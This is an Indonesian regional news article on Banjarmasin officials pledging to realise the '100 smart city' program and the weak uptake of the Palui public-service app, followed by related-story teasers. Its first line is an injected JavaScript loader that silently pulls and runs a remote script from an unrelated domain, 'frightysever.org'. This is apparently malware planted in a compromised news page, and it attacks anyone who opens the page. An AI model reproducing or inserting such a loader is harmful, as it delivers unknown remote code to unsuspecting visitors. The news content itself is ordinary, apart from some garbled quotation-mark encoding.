(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Pemko Banjarmasin terus berupaya memaksimalkan program smart city yang sebelumnya digaungkan Walikota Ibnu Sina. Salah satunya, dengan menegaskan komitmen Satuan Kerja Perangkat daerah (SKPD) lingkup Banjarmasin untuk merealisasikan program tersebut. Sebab setelah 10 bulan lebih digagas, aplikasi yang diberi nama Pelayanan Administrasi Kelurahan Terintegrasi (Palui) tersebut masih minim pengguna.
Senin (29/10), para pejabat lingkup pemko Banjarmasin melakukan ikrar dan penandatanganan guna merealisasikan Kota Banjarmasin sebagai smart city. Komitmen tersebut dalam bentuk ikrar saat pergelaran bimbingan teknis tahap 4 implementasi gerakan menuju 100 smart city Kota Banjarmasin di aula Kayuh Baimbai.
Walikota Ibnu Sina mengatakan, Banjarmasin saat ini menjadi salah satu kota yang masuk program 100 smart city se-Indonesia yang dicanangkan pusat. Program ini, telah digaungkan sejak tahun 2016 lalu. “Tinggal lagi sebenarnya mengitegrasikan smart city ini untuk lebih dimaknai oleh masyarakat. Mengingat smart city tidak hanya selalu terpatok pada teknologi, melainkan ekologi yang menjadi faktor utama,†katanya.
Menurutnya, ekologi smart city seperti smart tourism terus ditingkatkan melalui potensi wisata susur sungai. Langkah ini bagian dari upaya menghidupkan Banjarmasin sebagai bandar perdagangan sungai terbesar di Indonesia tempo dulu. “Dengan meningkatnya wisata sungai, dan pusat peradaban sungai ini secara langsung membuat investor dan pelancong meningkat masuk ke Kota Banjarmasin. Ini yang kami harapkan sebagai salah satu kota yang masuk dalam 100 smart city se-Indonesia,†katanya.
Upaya ini menjadi penting, sebab sejak dirilis 30 Januari 2018 lalu, aplikasi Palui ini masih kurang banyak digunakan. Dari hasil penelusuran, pengunduh aplikasi ini baru mencapai 500+ pengguna android.
Terkait hal ini, Plt Direktur e-Government Kementerian Kominfo Bambang Dwi Anggono mengatakan perlunya sinergi pemerintah dengan masyarakat. Termasuk melakukan berbagai sosialisasi akan kemudahan dalam pelayanan publik.
“Langkahnya tidak hanya berhenti pada penyediaan aplikasi, tapi juga memastikan masyarakat bisa menggunakan dan mendapatkan nilai lebih dari data informasi yang ada,†imbaunya.
Dia mengatakan, jika dibandingkan dengan kota lain seperti Surabaya, Semarang, atau Makassar, kota berjuluk Seribu Sungai ini memang masih kalah dalam penerapannya. Tapi ia menyadari, karena Banjarmasin baru merintis program tersebut.
Ia menambahkan, kunci dari sukses program smart city juga adalah memberdayakan stakeholder yang ada. Misalnya dengan mengintegrasikan sistem pendidikan, kependudukan, ketenagakerjaan kesehatan, dan lainnya. (mario)
KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More
This website uses cookies.